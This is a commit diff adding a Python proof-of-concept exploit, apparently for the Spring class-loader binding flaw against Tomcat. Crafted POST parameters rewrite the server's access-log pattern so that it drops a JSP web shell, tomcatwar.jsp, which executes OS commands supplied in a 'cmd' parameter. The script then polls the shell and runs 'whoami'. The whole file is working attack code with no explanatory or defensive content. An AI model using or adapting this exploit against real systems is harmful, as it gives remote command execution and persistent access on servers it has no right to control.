Add vulnerability PoC

mega_poc.py

@@ -0,0 +1,46 @@
+import time
+
+import requests
+
+payload = {
+    "class.module.classLoader.resources.context.parent.pipeline.first.pattern": '%{c2}i { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i',
+    "class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
+    "class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT",
+    "class.module.classLoader.resources.context.parent.pipeline.first.prefix": "tomcatwar",
+    "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": "",
+}
+
+if __name__ == "__main__":
+    go = requests.post(
+        "http://localhost:8080/demo/index",
+        headers={"suffix": "%>//", "c2": "<%"},
+        data=payload,
+        timeout=15,
+        allow_redirects=False,
+        verify=False,
+    )
+
+    print("deploy", go)
+
+    for i in range(60):
+        shellgo = requests.get(
+            "http://localhost:8080/tomcatwar.jsp",
+            timeout=15,
+            allow_redirects=False,
+            verify=False,
+        )
+
+        print("webshell", shellgo)
+        if shellgo.status_code == 500:
+            print("webshell", "http://localhost:8080/tomcatwar.jsp?cmd=whoami")
+            print(
+                requests.get(
+                    "http://localhost:8080/tomcatwar.jsp?cmd=whoami",
+                    timeout=15,
+                    allow_redirects=False,
+                    verify=False,
+                ).text[:20]
+            )
+            break
+
+        time.sleep(1)